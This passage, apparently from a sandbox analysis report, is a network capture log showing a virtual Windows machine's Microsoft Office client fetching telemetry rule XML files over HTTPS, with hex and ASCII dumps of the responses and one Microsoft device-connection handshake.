2024-12-07 21:40:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:51 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:51 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214051Z-r1cf579d7784wpmvhC1EWRk4cn00000002vg000000007r8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:51 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:51 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214051Z-r1cf579d7786c2tshC1EWRr1gc000000032g000000006kgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:51 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214051Z-r1cf579d778d5zkmhC1EWRk6h800000003ug00000000a71p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:52 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214052Z-r1cf579d778xr2r4hC1EWRqvfs00000003kg0000000033c0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:52 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214053Z-r1cf579d778dndrdhC1EWR4b240000000380000000000v16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:53 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:53 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214053Z-r1cf579d778qlpkrhC1EWRpfc80000000460000000003r8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:53 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:53 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214053Z-r1cf579d778qlpkrhC1EWRpfc80000000440000000005sdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:53 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214053Z-r1cf579d778dfdgnhC1EWRd3w000000003a0000000003ym3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:54 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214054Z-r1cf579d77867vg8hC1EWR8knc00000003a0000000005cw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49833	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:55 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 58 73 4f 62 6e 48 6f 50 56 30 61 76 65 6d 66 66 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 37 30 39 61 36 38 33 33 39 61 66 31 61 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: XsObnHoPV0avemff.1Context: 51709a68339af1a7
2024-12-07 21:40:55 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:55 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 58 73 4f 62 6e 48 6f 50 56 30 61 76 65 6d 66 66 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 37 30 39 61 36 38 33 33 39 61 66 31 61 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: XsObnHoPV0avemff.2Context: 51709a68339af1a7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:55 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 58 73 4f 62 6e 48 6f 50 56 30 61 76 65 6d 66 66 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 37 30 39 61 36 38 33 33 39 61 66 31 61 37 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: XsObnHoPV0avemff.3Context: 51709a68339af1a7
2024-12-07 21:40:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 55 35 6f 39 46 59 74 55 6d 45 71 67 42 54 59 35 6b 52 46 70 51 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: U5o9FYtUmEqgBTY5kRFpQw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:55 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214055Z-r1cf579d778qlpkrhC1EWRpfc80000000490000000000hun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
